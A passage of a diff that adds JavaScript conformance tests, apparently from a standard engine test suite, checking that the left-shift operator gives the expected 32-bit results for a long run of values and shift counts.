+ $ERROR('#57: 16777215 << 1 === 33554430. Actual: ' + (16777215 << 1));
+}
+
+
+if (33554431 << 1 !== 67108862) {
+ $ERROR('#58: 33554431 << 1 === 67108862. Actual: ' + (33554431 << 1));
+}
+
+
+if (67108863 << 1 !== 134217726) {
+ $ERROR('#59: 67108863 << 1 === 134217726. Actual: ' + (67108863 << 1));
+}
+
+
+if (134217727 << 1 !== 268435454) {
+ $ERROR('#60: 134217727 << 1 === 268435454. Actual: ' + (134217727 << 1));
+}
+
+
+if (268435455 << 1 !== 536870910) {
+ $ERROR('#61: 268435455 << 1 === 536870910. Actual: ' + (268435455 << 1));
+}
+
+
+if (536870911 << 1 !== 1073741822) {
+ $ERROR('#62: 536870911 << 1 === 1073741822. Actual: ' + (536870911 << 1));
+}
+
+
+if (1073741823 << 1 !== 2147483646) {
+ $ERROR('#63: 1073741823 << 1 === 2147483646. Actual: ' + (1073741823 << 1));
+}
+
+
+if (2147483647 << 1 !== -2) {
+ $ERROR('#64: 2147483647 << 1 === -2. Actual: ' + (2147483647 << 1));
+}
+
+
+if (0 << 2 !== 0) {
+ $ERROR('#65: 0 << 2 === 0. Actual: ' + (0 << 2));
+}
+
+
+if (1 << 2 !== 4) {
+ $ERROR('#66: 1 << 2 === 4. Actual: ' + (1 << 2));
+}
+
+
+if (3 << 2 !== 12) {
+ $ERROR('#67: 3 << 2 === 12. Actual: ' + (3 << 2));
+}
+
+
+if (7 << 2 !== 28) {
+ $ERROR('#68: 7 << 2 === 28. Actual: ' + (7 << 2));
+}
+
+
+if (15 << 2 !== 60) {
+ $ERROR('#69: 15 << 2 === 60. Actual: ' + (15 << 2));
+}
+
+
+if (31 << 2 !== 124) {
+ $ERROR('#70: 31 << 2 === 124. Actual: ' + (31 << 2));
+}
+
+
+if (63 << 2 !== 252) {
+ $ERROR('#71: 63 << 2 === 252. Actual: ' + (63 << 2));
+}
+
+
+if (127 << 2 !== 508) {
+ $ERROR('#72: 127 << 2 === 508. Actual: ' + (127 << 2));
+}
+
+
+if (255 << 2 !== 1020) {
+ $ERROR('#73: 255 << 2 === 1020. Actual: ' + (255 << 2));
+}
+
+
+if (511 << 2 !== 2044) {
+ $ERROR('#74: 511 << 2 === 2044. Actual: ' + (511 << 2));
+}
+
+
+if (1023 << 2 !== 4092) {
+ $ERROR('#75: 1023 << 2 === 4092. Actual: ' + (1023 << 2));
+}
+
+
+if (2047 << 2 !== 8188) {
+ $ERROR('#76: 2047 << 2 === 8188. Actual: ' + (2047 << 2));
+}
+
+
+if (4095 << 2 !== 16380) {
+ $ERROR('#77: 4095 << 2 === 16380. Actual: ' + (4095 << 2));
+}
+
+
+if (8191 << 2 !== 32764) {
+ $ERROR('#78: 8191 << 2 === 32764. Actual: ' + (8191 << 2));
+}
+
+
+if (16383 << 2 !== 65532) {
+ $ERROR('#79: 16383 << 2 === 65532. Actual: ' + (16383 << 2));
+}
+
+
+if (32767 << 2 !== 131068) {
+ $ERROR('#80: 32767 << 2 === 131068. Actual: ' + (32767 << 2));
+}
+
+
+if (65535 << 2 !== 262140) {
+ $ERROR('#81: 65535 << 2 === 262140. Actual: ' + (65535 << 2));
+}
+
+
+if (131071 << 2 !== 524284) {
+ $ERROR('#82: 131071 << 2 === 524284. Actual: ' + (131071 << 2));
+}
+
+
+if (262143 << 2 !== 1048572) {
+ $ERROR('#83: 262143 << 2 === 1048572. Actual: ' + (262143 << 2));
+}
+
+
+if (524287 << 2 !== 2097148) {
+ $ERROR('#84: 524287 << 2 === 2097148. Actual: ' + (524287 << 2));
+}
+
+
+if (1048575 << 2 !== 4194300) {
+ $ERROR('#85: 1048575 << 2 === 4194300. Actual: ' + (1048575 << 2));
+}
+
+
+if (2097151 << 2 !== 8388604) {
+ $ERROR('#86: 2097151 << 2 === 8388604. Actual: ' + (2097151 << 2));
+}
+
+
+if (4194303 << 2 !== 16777212) {
+ $ERROR('#87: 4194303 << 2 === 16777212. Actual: ' + (4194303 << 2));
+}
+
+
+if (8388607 << 2 !== 33554428) {
+ $ERROR('#88: 8388607 << 2 === 33554428. Actual: ' + (8388607 << 2));
+}
+
+
+if (16777215 << 2 !== 67108860) {
+ $ERROR('#89: 16777215 << 2 === 67108860. Actual: ' + (16777215 << 2));
+}
+
+
+if (33554431 << 2 !== 134217724) {
+ $ERROR('#90: 33554431 << 2 === 134217724. Actual: ' + (33554431 << 2));
+}
+
+
+if (67108863 << 2 !== 268435452) {
+ $ERROR('#91: 67108863 << 2 === 268435452. Actual: ' + (67108863 << 2));
+}
+
+
+if (134217727 << 2 !== 536870908) {
+ $ERROR('#92: 134217727 << 2 === 536870908. Actual: ' + (134217727 << 2));
+}
+
+
+if (268435455 << 2 !== 1073741820) {
+ $ERROR('#93: 268435455 << 2 === 1073741820. Actual: ' + (268435455 << 2));
+}
+
+
+if (536870911 << 2 !== 2147483644) {
+ $ERROR('#94: 536870911 << 2 === 2147483644. Actual: ' + (536870911 << 2));
+}
+
+
+if (1073741823 << 2 !== -4) {
+ $ERROR('#95: 1073741823 << 2 === -4. Actual: ' + (1073741823 << 2));
+}
+
+
+if (2147483647 << 2 !== -4) {
+ $ERROR('#96: 2147483647 << 2 === -4. Actual: ' + (2147483647 << 2));
+}
+
+
+if (0 << 3 !== 0) {
+ $ERROR('#97: 0 << 3 === 0. Actual: ' + (0 << 3));
+}
+
+
+if (1 << 3 !== 8) {
+ $ERROR('#98: 1 << 3 === 8. Actual: ' + (1 << 3));
+}
+
+
+if (3 << 3 !== 24) {
+ $ERROR('#99: 3 << 3 === 24. Actual: ' + (3 << 3));
+}
+
+
+if (7 << 3 !== 56) {
+ $ERROR('#100: 7 << 3 === 56. Actual: ' + (7 << 3));
+}
+
+
+if (15 << 3 !== 120) {
+ $ERROR('#101: 15 << 3 === 120. Actual: ' + (15 << 3));
+}
+
+
+if (31 << 3 !== 248) {
+ $ERROR('#102: 31 << 3 === 248. Actual: ' + (31 << 3));
+}
+
+
+if (63 << 3 !== 504) {
+ $ERROR('#103: 63 << 3 === 504. Actual: ' + (63 << 3));
+}
+
+
+if (127 << 3 !== 1016) {
+ $ERROR('#104: 127 << 3 === 1016. Actual: ' + (127 << 3));
+}
+
+
+if (255 << 3 !== 2040) {
+ $ERROR('#105: 255 << 3 === 2040. Actual: ' + (255 << 3));
+}
+
+
+if (511 << 3 !== 4088) {
+ $ERROR('#106: 511 << 3 === 4088. Actual: ' + (511 << 3));
+}
+
+
+if (1023 << 3 !== 8184) {
+ $ERROR('#107: 1023 << 3 === 8184. Actual: ' + (1023 << 3));
+}
+
+
+if (2047 << 3 !== 16376) {
+ $ERROR('#108: 2047 << 3 === 16376. Actual: ' + (2047 << 3));
+}
+
+
+if (4095 << 3 !== 32760) {
+ $ERROR('#109: 4095 << 3 === 32760. Actual: ' + (4095 << 3));
+}
+
+
+if (8191 << 3 !== 65528) {
+ $ERROR('#110: 8191 << 3 === 65528. Actual: ' + (8191 << 3));
+}
+
+
+if (16383 << 3 !== 131064) {
+ $ERROR('#111: 16383 << 3 === 131064. Actual: ' + (16383 << 3));
+}
+
+
+if (32767 << 3 !== 262136) {
+ $ERROR('#112: 32767 << 3 === 262136. Actual: ' + (32767 << 3));
+}
+
+
+if (65535 << 3 !== 524280) {
+ $ERROR('#113: 65535 << 3 === 524280. Actual: ' + (65535 << 3));
+}
+
+
+if (131071 << 3 !== 1048568) {
+ $ERROR('#114: 131071 << 3 === 1048568. Actual: ' + (131071 << 3));
+}
+
+
+if (262143 << 3 !== 2097144) {
+ $ERROR('#115: 262143 << 3 === 2097144. Actual: ' + (262143 << 3));
+}
+
+
+if (524287 << 3 !== 4194296) {
+ $ERROR('#116: 524287 << 3 === 4194296. Actual: ' + (524287 << 3));
+}
+
+
+if (1048575 << 3 !== 8388600) {
+ $ERROR('#117: 1048575 << 3 === 8388600. Actual: ' + (1048575 << 3));
+}
+
+
+if (2097151 << 3 !== 16777208) {
+ $ERROR('#118: 2097151 << 3 === 16777208. Actual: ' + (2097151 << 3));
+}
+
+
+if (4194303 << 3 !== 33554424) {
+ $ERROR('#119: 4194303 << 3 === 33554424. Actual: ' + (4194303 << 3));
+}
+
+
+if (8388607 << 3 !== 67108856) {
+ $ERROR('#120: 8388607 << 3 === 67108856. Actual: ' + (8388607 << 3));
+}
+
+
+if (16777215 << 3 !== 134217720) {
+ $ERROR('#121: 16777215 << 3 === 134217720. Actual: ' + (16777215 << 3));
+}
+
+
+if (33554431 << 3 !== 268435448) {
+ $ERROR('#122: 33554431 << 3 === 268435448. Actual: ' + (33554431 << 3));
+}
+
+
+if (67108863 << 3 !== 536870904) {
+ $ERROR('#123: 67108863 << 3 === 536870904. Actual: ' + (67108863 << 3));
+}
+
+
+if (134217727 << 3 !== 1073741816) {
+ $ERROR('#124: 134217727 << 3 === 1073741816. Actual: ' + (134217727 << 3));
+}
+
+
+if (268435455 << 3 !== 2147483640) {
+ $ERROR('#125: 268435455 << 3 === 2147483640. Actual: ' + (268435455 << 3));
+}
+
+
+if (536870911 << 3 !== -8) {
+ $ERROR('#126: 536870911 << 3 === -8. Actual: ' + (536870911 << 3));
+}
+
+
+if (1073741823 << 3 !== -8) {
+ $ERROR('#127: 1073741823 << 3 === -8. Actual: ' + (1073741823 << 3));
+}
+
+
+if (2147483647 << 3 !== -8) {
+ $ERROR('#128: 2147483647 << 3 === -8. Actual: ' + (2147483647 << 3));
+}
+
+
+if (0 << 4 !== 0) {
+ $ERROR('#129: 0 << 4 === 0. Actual: ' + (0 << 4));
+}
+
+
+if (1 << 4 !== 16) {
+ $ERROR('#130: 1 << 4 === 16. Actual: ' + (1 << 4));
+}
+
+
+if (3 << 4 !== 48) {
+ $ERROR('#131: 3 << 4 === 48. Actual: ' + (3 << 4));
+}
+
+
+if (7 << 4 !== 112) {
+ $ERROR('#132: 7 << 4 === 112. Actual: ' + (7 << 4));
+}
+
+
+if (15 << 4 !== 240) {
+ $ERROR('#133: 15 << 4 === 240. Actual: ' + (15 << 4));
+}
+
+
+if (31 << 4 !== 496) {
+ $ERROR('#134: 31 << 4 === 496. Actual: ' + (31 << 4));
+}
+
+
+if (63 << 4 !== 1008) {
+ $ERROR('#135: 63 << 4 === 1008. Actual: ' + (63 << 4));
+}
+
+
+if (127 << 4 !== 2032) {
+ $ERROR('#136: 127 << 4 === 2032. Actual: ' + (127 << 4));
+}
+
+
+if (255 << 4 !== 4080) {
+ $ERROR('#137: 255 << 4 === 4080. Actual: ' + (255 << 4));
+}
+
+
+if (511 << 4 !== 8176) {
+ $ERROR('#138: 511 << 4 === 8176. Actual: ' + (511 << 4));
+}
+
+
+if (1023 << 4 !== 16368) {
+ $ERROR('#139: 1023 << 4 === 16368. Actual: ' + (1023 << 4));
+}
+
+
+if (2047 << 4 !== 32752) {
+ $ERROR('#140: 2047 << 4 === 32752. Actual: ' + (2047 << 4));
+}
+
+
+if (4095 << 4 !== 65520) {
+ $ERROR('#141: 4095 << 4 === 65520. Actual: ' + (4095 << 4));
+}
+
+
+if (8191 << 4 !== 131056) {
+ $ERROR('#142: 8191 << 4 === 131056. Actual: ' + (8191 << 4));
+}
+
+
+if (16383 << 4 !== 262128) {
+ $ERROR('#143: 16383 << 4 === 262128. Actual: ' + (16383 << 4));
+}
+
+
+if (32767 << 4 !== 524272) {
+ $ERROR('#144: 32767 << 4 === 524272. Actual: ' + (32767 << 4));
+}
+
+
+if (65535 << 4 !== 1048560) {
+ $ERROR('#145: 65535 << 4 === 1048560. Actual: ' + (65535 << 4));
+}
+
+
+if (131071 << 4 !== 2097136) {
+ $ERROR('#146: 131071 << 4 === 2097136. Actual: ' + (131071 << 4));
+}
+
+
+if (262143 << 4 !== 4194288) {
+ $ERROR('#147: 262143 << 4 === 4194288. Actual: ' + (262143 << 4));
+}
+
+
+if (524287 << 4 !== 8388592) {
+ $ERROR('#148: 524287 << 4 === 8388592. Actual: ' + (524287 << 4));
+}
+
+
+if (1048575 << 4 !== 16777200) {
+ $ERROR('#149: 1048575 << 4 === 16777200. Actual: ' + (1048575 << 4));
+}
+
+
+if (2097151 << 4 !== 33554416) {
+ $ERROR('#150: 2097151 << 4 === 33554416. Actual: ' + (2097151 << 4));
+}
+
+
+if (4194303 << 4 !== 67108848) {
+ $ERROR('#151: 4194303 << 4 === 67108848. Actual: ' + (4194303 << 4));
+}
+
+
+if (8388607 << 4 !== 134217712) {
+ $ERROR('#152: 8388607 << 4 === 134217712. Actual: ' + (8388607 << 4));
+}
+
+
+if (16777215 << 4 !== 268435440) {
+ $ERROR('#153: 16777215 << 4 === 268435440. Actual: ' + (16777215 << 4));
+}
+
+
+if (33554431 << 4 !== 536870896) {
+ $ERROR('#154: 33554431 << 4 === 536870896. Actual: ' + (33554431 << 4));
+}
+
+
+if (67108863 << 4 !== 1073741808) {
+ $ERROR('#155: 67108863 << 4 === 1073741808. Actual: ' + (67108863 << 4));
+}
+
+
+if (134217727 << 4 !== 2147483632) {
+ $ERROR('#156: 134217727 << 4 === 2147483632. Actual: ' + (134217727 << 4));
+}
+
+
+if (268435455 << 4 !== -16) {
+ $ERROR('#157: 268435455 << 4 === -16. Actual: ' + (268435455 << 4));
+}
+
+
+if (536870911 << 4 !== -16) {
+ $ERROR('#158: 536870911 << 4 === -16. Actual: ' + (536870911 << 4));
+}
+
+
+if (1073741823 << 4 !== -16) {
+ $ERROR('#159: 1073741823 << 4 === -16. Actual: ' + (1073741823 << 4));
+}
+
+
+if (2147483647 << 4 !== -16) {
+ $ERROR('#160: 2147483647 << 4 === -16. Actual: ' + (2147483647 << 4));
+}
+
+
+if (0 << 5 !== 0) {
+ $ERROR('#161: 0 << 5 === 0. Actual: ' + (0 << 5));
+}
+
+
+if (1 << 5 !== 32) {
+ $ERROR('#162: 1 << 5 === 32. Actual: ' + (1 << 5));
+}
+
+
+if (3 << 5 !== 96) {
+ $ERROR('#163: 3 << 5 === 96. Actual: ' + (3 << 5));
+}
+
+
+if (7 << 5 !== 224) {
+ $ERROR('#164: 7 << 5 === 224. Actual: ' + (7 << 5));
+}
+
+
+if (15 << 5 !== 480) {
+ $ERROR('#165: 15 << 5 === 480. Actual: ' + (15 << 5));
+}
+
+
+if (31 << 5 !== 992) {
+ $ERROR('#166: 31 << 5 === 992. Actual: ' + (31 << 5));
+}
+
+
+if (63 << 5 !== 2016) {
+ $ERROR('#167: 63 << 5 === 2016. Actual: ' + (63 << 5));
+}
+
+
+if (127 << 5 !== 4064) {
+ $ERROR('#168: 127 << 5 === 4064. Actual: ' + (127 << 5));
+}
+
+
+if (255 << 5 !== 8160) {
+ $ERROR('#169: 255 << 5 === 8160. Actual: ' + (255 << 5));
+}
+
+
+if (511 << 5 !== 16352) {
+ $ERROR('#170: 511 << 5 === 16352. Actual: ' + (511 << 5));
+}
+
+
+if (1023 << 5 !== 32736) {
+ $ERROR('#171: 1023 << 5 === 32736. Actual: ' + (1023 << 5));
+}
+
+
+if (2047 << 5 !== 65504) {
+ $ERROR('#172: 2047 << 5 === 65504. Actual: ' + (2047 << 5));
+}
+
+
+if (4095 << 5 !== 131040) {
+ $ERROR('#173: 4095 << 5 === 131040. Actual: ' + (4095 << 5));
+}
+
+
+if (8191 << 5 !== 262112) {
+ $ERROR('#174: 8191 << 5 === 262112. Actual: ' + (8191 << 5));
+}
+
+
+if (16383 << 5 !== 524256) {
+ $ERROR('#175: 16383 << 5 === 524256. Actual: ' + (16383 << 5));
+}
+
+
+if (32767 << 5 !== 1048544) {
+ $ERROR('#176: 32767 << 5 === 1048544. Actual: ' + (32767 << 5));
+}
+
+
+if (65535 << 5 !== 2097120) {
+ $ERROR('#177: 65535 << 5 === 2097120. Actual: ' + (65535 << 5));
+}
+
+
+if (131071 << 5 !== 4194272) {
+ $ERROR('#178: 131071 << 5 === 4194272. Actual: ' + (131071 << 5));
+}
+
+
+if (262143 << 5 !== 8388576) {
+ $ERROR('#179: 262143 << 5 === 8388576. Actual: ' + (262143 << 5));
+}
+
+
+if (524287 << 5 !== 16777184) {
+ $ERROR('#180: 524287 << 5 === 16777184. Actual: ' + (524287 << 5));
+}
+
+
+if (1048575 << 5 !== 33554400) {
+ $ERROR('#181: 1048575 << 5 === 33554400. Actual: ' + (1048575 << 5));
+}
+
+
+if (2097151 << 5 !== 67108832) {
+ $ERROR('#182: 2097151 << 5 === 67108832. Actual: ' + (2097151 << 5));
+}
+
+
+if (4194303 << 5 !== 134217696) {
+ $ERROR('#183: 4194303 << 5 === 134217696. Actual: ' + (4194303 << 5));
+}
+
+
+if (8388607 << 5 !== 268435424) {
+ $ERROR('#184: 8388607 << 5 === 268435424. Actual: ' + (8388607 << 5));
+}
+
+
+if (16777215 << 5 !== 536870880) {
+ $ERROR('#185: 16777215 << 5 === 536870880. Actual: ' + (16777215 << 5));
+}
+
+
+if (33554431 << 5 !== 1073741792) {
+ $ERROR('#186: 33554431 << 5 === 1073741792. Actual: ' + (33554431 << 5));
+}
+
+
+if (67108863 << 5 !== 2147483616) {
+ $ERROR('#187: 67108863 << 5 === 2147483616. Actual: ' + (67108863 << 5));
+}
+
+
+if (134217727 << 5 !== -32) {
+ $ERROR('#188: 134217727 << 5 === -32. Actual: ' + (134217727 << 5));
+}
+
+
+if (268435455 << 5 !== -32) {
+ $ERROR('#189: 268435455 << 5 === -32. Actual: ' + (268435455 << 5));
+}
+
+
+if (536870911 << 5 !== -32) {
+ $ERROR('#190: 536870911 << 5 === -32. Actual: ' + (536870911 << 5));
+}
+
+
+if (1073741823 << 5 !== -32) {
+ $ERROR('#191: 1073741823 << 5 === -32. Actual: ' + (1073741823 << 5));
+}
+
+
+if (2147483647 << 5 !== -32) {
+ $ERROR('#192: 2147483647 << 5 === -32. Actual: ' + (2147483647 << 5));
+}
+
+
+if (0 << 6 !== 0) {
+ $ERROR('#193: 0 << 6 === 0. Actual: ' + (0 << 6));
+}
+
+
+if (1 << 6 !== 64) {
+ $ERROR('#194: 1 << 6 === 64. Actual: ' + (1 << 6));
+}
+
+
+if (3 << 6 !== 192) {
+ $ERROR('#195: 3 << 6 === 192. Actual: ' + (3 << 6));
+}
+
+
+if (7 << 6 !== 448) {
+ $ERROR('#196: 7 << 6 === 448. Actual: ' + (7 << 6));
+}
+
+
+if (15 << 6 !== 960) {
+ $ERROR('#197: 15 << 6 === 960. Actual: ' + (15 << 6));
+}
+
+
+if (31 << 6 !== 1984) {
+ $ERROR('#198: 31 << 6 === 1984. Actual: ' + (31 << 6));
+}
+
+
+if (63 << 6 !== 4032) {
+ $ERROR('#199: 63 << 6 === 4032. Actual: ' + (63 << 6));
+}
+
+
+if (127 << 6 !== 8128) {
+ $ERROR('#200: 127 << 6 === 8128. Actual: ' + (127 << 6));
+}
+
+
+if (255 << 6 !== 16320) {
+ $ERROR('#201: 255 << 6 === 16320. Actual: ' + (255 << 6));
+}
+
+
+if (511 << 6 !== 32704) {
+ $ERROR('#202: 511 << 6 === 32704. Actual: ' + (511 << 6));
+}
+
+
+if (1023 << 6 !== 65472) {
+ $ERROR('#203: 1023 << 6 === 65472. Actual: ' + (1023 << 6));
+}
+
+
+if (2047 << 6 !== 131008) {
+ $ERROR('#204: 2047 << 6 === 131008. Actual: ' + (2047 << 6));
+}
+
+
+if (4095 << 6 !== 262080) {
+ $ERROR('#205: 4095 << 6 === 262080. Actual: ' + (4095 << 6));
+}
+
+
+if (8191 << 6 !== 524224) {
+ $ERROR('#206: 8191 << 6 === 524224. Actual: ' + (8191 << 6));
+}
+
+
+if (16383 << 6 !== 1048512) {
+ $ERROR('#207: 16383 << 6 === 1048512. Actual: ' + (16383 << 6));
+}
+
+
+if (32767 << 6 !== 2097088) {
+ $ERROR('#208: 32767 << 6 === 2097088. Actual: ' + (32767 << 6));
+}
+
+
+if (65535 << 6 !== 4194240) {
+ $ERROR('#209: 65535 << 6 === 4194240. Actual: ' + (65535 << 6));
+}
+
+
+if (131071 << 6 !== 8388544) {
+ $ERROR('#210: 131071 << 6 === 8388544. Actual: ' + (131071 << 6));
+}
+
+
+if (262143 << 6 !== 16777152) {
+ $ERROR('#211: 262143 << 6 === 16777152. Actual: ' + (262143 << 6));
+}
+
+
+if (524287 << 6 !== 33554368) {
+ $ERROR('#212: 524287 << 6 === 33554368. Actual: ' + (524287 << 6));
+}
+
+
+if (1048575 << 6 !== 67108800) {
+ $ERROR('#213: 1048575 << 6 === 67108800. Actual: ' + (1048575 << 6));
+}
+
+
+if (2097151 << 6 !== 134217664) {
+ $ERROR('#214: 2097151 << 6 === 134217664. Actual: ' + (2097151 << 6));
+}
+
+
+if (4194303 << 6 !== 268435392) {
+ $ERROR('#215: 4194303 << 6 === 268435392. Actual: ' + (4194303 << 6));
+}
+
+
+if (8388607 << 6 !== 536870848) {
+ $ERROR('#216: 8388607 << 6 === 536870848. Actual: ' + (8388607 << 6));
+}
+
+
+if (16777215 << 6 !== 1073741760) {
+ $ERROR('#217: 16777215 << 6 === 1073741760. Actual: ' + (16777215 << 6));
+}
+
+
+if (33554431 << 6 !== 2147483584) {
+ $ERROR('#218: 33554431 << 6 === 2147483584. Actual: ' + (33554431 << 6));
+}
+
+
+if (67108863 << 6 !== -64) {
+ $ERROR('#219: 67108863 << 6 === -64. Actual: ' + (67108863 << 6));
+}
+
+
+if (134217727 << 6 !== -64) {
+ $ERROR('#220: 134217727 << 6 === -64. Actual: ' + (134217727 << 6));
+}
+
+
+if (268435455 << 6 !== -64) {
+ $ERROR('#221: 268435455 << 6 === -64. Actual: ' + (268435455 << 6));
+}
+
+
+if (536870911 << 6 !== -64) {
+ $ERROR('#222: 536870911 << 6 === -64. Actual: ' + (536870911 << 6));
+}
+
+
+if (1073741823 << 6 !== -64) {
+ $ERROR('#223: 1073741823 << 6 === -64. Actual: ' + (1073741823 << 6));
+}
+
+
+if (2147483647 << 6 !== -64) {
+ $ERROR('#224: 2147483647 << 6 === -64. Actual: ' + (2147483647 << 6));
+}
+
+
+if (0 << 7 !== 0) {
+ $ERROR('#225: 0 << 7 === 0. Actual: ' + (0 << 7));
+}
+
+
+if (1 << 7 !== 128) {
+ $ERROR('#226: 1 << 7 === 128. Actual: ' + (1 << 7));
+}
+
+
+if (3 << 7 !== 384) {
+ $ERROR('#227: 3 << 7 === 384. Actual: ' + (3 << 7));
+}
+
+
+if (7 << 7 !== 896) {
+ $ERROR('#228: 7 << 7 === 896. Actual: ' + (7 << 7));
+}
+
+
+if (15 << 7 !== 1920) {
+ $ERROR('#229: 15 << 7 === 1920. Actual: ' + (15 << 7));
+}
+
+
+if (31 << 7 !== 3968) {
+ $ERROR('#230: 31 << 7 === 3968. Actual: ' + (31 << 7));
+}
+
+
+if (63 << 7 !== 8064) {
+ $ERROR('#231: 63 << 7 === 8064. Actual: ' + (63 << 7));
+}
+
+
+if (127 << 7 !== 16256) {
+ $ERROR('#232: 127 << 7 === 16256. Actual: ' + (127 << 7));
+}
+
+
+if (255 << 7 !== 32640) {
+ $ERROR('#233: 255 << 7 === 32640. Actual: ' + (255 << 7));
+}
+
+
+if (511 << 7 !== 65408) {
+ $ERROR('#234: 511 << 7 === 65408. Actual: ' + (511 << 7));
+}
+
+
+if (1023 << 7 !== 130944) {
+ $ERROR('#235: 1023 << 7 === 130944. Actual: ' + (1023 << 7));
+}
+
+
+if (2047 << 7 !== 262016) {
+ $ERROR('#236: 2047 << 7 === 262016. Actual: ' + (2047 << 7));
+}
+
+
+if (4095 << 7 !== 524160) {
+ $ERROR('#237: 4095 << 7 === 524160. Actual: ' + (4095 << 7));
+}
+
+
+if (8191 << 7 !== 1048448) {
+ $ERROR('#238: 8191 << 7 === 1048448. Actual: ' + (8191 << 7));
+}
+
+
+if (16383 << 7 !== 2097024) {
+ $ERROR('#239: 16383 << 7 === 2097024. Actual: ' + (16383 << 7));
+}
+
+
+if (32767 << 7 !== 4194176) {
+ $ERROR('#240: 32767 << 7 === 4194176. Actual: ' + (32767 << 7));
+}
+
+
+if (65535 << 7 !== 8388480) {
+ $ERROR('#241: 65535 << 7 === 8388480. Actual: ' + (65535 << 7));
+}
+
+
+if (131071 << 7 !== 16777088) {
+ $ERROR('#242: 131071 << 7 === 16777088. Actual: ' + (131071 << 7));
+}
+
+
+if (262143 << 7 !== 33554304) {
+ $ERROR('#243: 262143 << 7 === 33554304. Actual: ' + (262143 << 7));
+}
+
+
+if (524287 << 7 !== 67108736) {
+ $ERROR('#244: 524287 << 7 === 67108736. Actual: ' + (524287 << 7));
+}
+
+
+if (1048575 << 7 !== 134217600) {
+ $ERROR('#245: 1048575 << 7 === 134217600. Actual: ' + (1048575 << 7));
+}
+
+
+if (2097151 << 7 !== 268435328) {
+ $ERROR('#246: 2097151 << 7 === 268435328. Actual: ' + (2097151 << 7));
+}
+
+
+if (4194303 << 7 !== 536870784) {
+ $ERROR('#247: 4194303 << 7 === 536870784. Actual: ' + (4194303 << 7));
+}
+
+
+if (8388607 << 7 !== 1073741696) {
+ $ERROR('#248: 8388607 << 7 === 1073741696. Actual: ' + (8388607 << 7));
+}
+
+
+if (16777215 << 7 !== 2147483520) {
+ $ERROR('#249: 16777215 << 7 === 2147483520. Actual: ' + (16777215 << 7));
+}
+
+
+if (33554431 << 7 !== -128) {
+ $ERROR('#250: 33554431 << 7 === -128. Actual: ' + (33554431 << 7));
+}
+
+
+if (67108863 << 7 !== -128) {
+ $ERROR('#251: 67108863 << 7 === -128. Actual: ' + (67108863 << 7));
+}
+
+
+if (134217727 << 7 !== -128) {
+ $ERROR('#252: 134217727 << 7 === -128. Actual: ' + (134217727 << 7));
+}
+
+
+if (268435455 << 7 !== -128) {
+ $ERROR('#253: 268435455 << 7 === -128. Actual: ' + (268435455 << 7));
+}
+
+
+if (536870911 << 7 !== -128) {
+ $ERROR('#254: 536870911 << 7 === -128. Actual: ' + (536870911 << 7));
+}
+
+
+if (1073741823 << 7 !== -128) {
+ $ERROR('#255: 1073741823 << 7 === -128. Actual: ' + (1073741823 << 7));
+}
+
+
+if (2147483647 << 7 !== -128) {
+ $ERROR('#256: 2147483647 << 7 === -128. Actual: ' + (2147483647 << 7));
+}
+
+
+if (0 << 8 !== 0) {
+ $ERROR('#257: 0 << 8 === 0. Actual: ' + (0 << 8));
+}
+
+
+if (1 << 8 !== 256) {
+ $ERROR('#258: 1 << 8 === 256. Actual: ' + (1 << 8));
+}
+
+
+if (3 << 8 !== 768) {
+ $ERROR('#259: 3 << 8 === 768. Actual: ' + (3 << 8));
+}
+
+
+if (7 << 8 !== 1792) {
+ $ERROR('#260: 7 << 8 === 1792. Actual: ' + (7 << 8));
+}
+
+
+if (15 << 8 !== 3840) {
+ $ERROR('#261: 15 << 8 === 3840. Actual: ' + (15 << 8));
+}
+
+
+if (31 << 8 !== 7936) {
+ $ERROR('#262: 31 << 8 === 7936. Actual: ' + (31 << 8));
+}
+
+
+if (63 << 8 !== 16128) {
+ $ERROR('#263: 63 << 8 === 16128. Actual: ' + (63 << 8));
+}
+
+
+if (127 << 8 !== 32512) {
+ $ERROR('#264: 127 << 8 === 32512. Actual: ' + (127 << 8));
+}
+
+
+if (255 << 8 !== 65280) {
+ $ERROR('#265: 255 << 8 === 65280. Actual: ' + (255 << 8));
+}
+
+
+if (511 << 8 !== 130816) {
+ $ERROR('#266: 511 << 8 === 130816. Actual: ' + (511 << 8));
+}
+
+
+if (1023 << 8 !== 261888) {
+ $ERROR('#267: 1023 << 8 === 261888. Actual: ' + (1023 << 8));
+}
+
+
+if (2047 << 8 !== 524032) {
+ $ERROR('#268: 2047 << 8 === 524032. Actual: ' + (2047 << 8));
+}
+
+
+if (4095 << 8 !== 1048320) {
+ $ERROR('#269: 4095 << 8 === 1048320. Actual: ' + (4095 << 8));
+}
+
+
+if (8191 << 8 !== 2096896) {
+ $ERROR('#270: 8191 << 8 === 2096896. Actual: ' + (8191 << 8));
+}
+
+
+if (16383 << 8 !== 4194048) {
+ $ERROR('#271: 16383 << 8 === 4194048. Actual: ' + (16383 << 8));
+}
+
+
+if (32767 << 8 !== 8388352) {
+ $ERROR('#272: 32767 << 8 === 8388352. Actual: ' + (32767 << 8));
+}
+
+
+if (65535 << 8 !== 16776960) {
+ $ERROR('#273: 65535 << 8 === 16776960. Actual: ' + (65535 << 8));
+}
+
+
+if (131071 << 8 !== 33554176) {
+ $ERROR('#274: 131071 << 8 === 33554176. Actual: ' + (131071 << 8));
+}
+
+
+if (262143 << 8 !== 67108608) {
+ $ERROR('#275: 262143 << 8 === 67108608. Actual: ' + (262143 << 8));
+}
+
+
+if (524287 << 8 !== 134217472) {
+ $ERROR('#276: 524287 << 8 === 134217472. Actual: ' + (524287 << 8));
+}
+
+
+if (1048575 << 8 !== 268435200) {
+ $ERROR('#277: 1048575 << 8 === 268435200. Actual: ' + (1048575 << 8));
+}
+
+
+if (2097151 << 8 !== 536870656) {
+ $ERROR('#278: 2097151 << 8 === 536870656. Actual: ' + (2097151 << 8));
+}
+
+
+if (4194303 << 8 !== 1073741568) {
+ $ERROR('#279: 4194303 << 8 === 1073741568. Actual: ' + (4194303 << 8));
+}
+
+
+if (8388607 << 8 !== 2147483392) {
+ $ERROR('#280: 8388607 << 8 === 2147483392. Actual: ' + (8388607 << 8));
+}
+
+
+if (16777215 << 8 !== -256) {
+ $ERROR('#281: 16777215 << 8 === -256. Actual: ' + (16777215 << 8));
+}
+
+
+if (33554431 << 8 !== -256) {
+ $ERROR('#282: 33554431 << 8 === -256. Actual: ' + (33554431 << 8));
+}
+
+
+if (67108863 << 8 !== -256) {
+ $ERROR('#283: 67108863 << 8 === -256. Actual: ' + (67108863 << 8));
+}
+
+
+if (134217727 << 8 !== -256) {
+ $ERROR('#284: 134217727 << 8 === -256. Actual: ' + (134217727 << 8));
+}
+
+
+if (268435455 << 8 !== -256) {
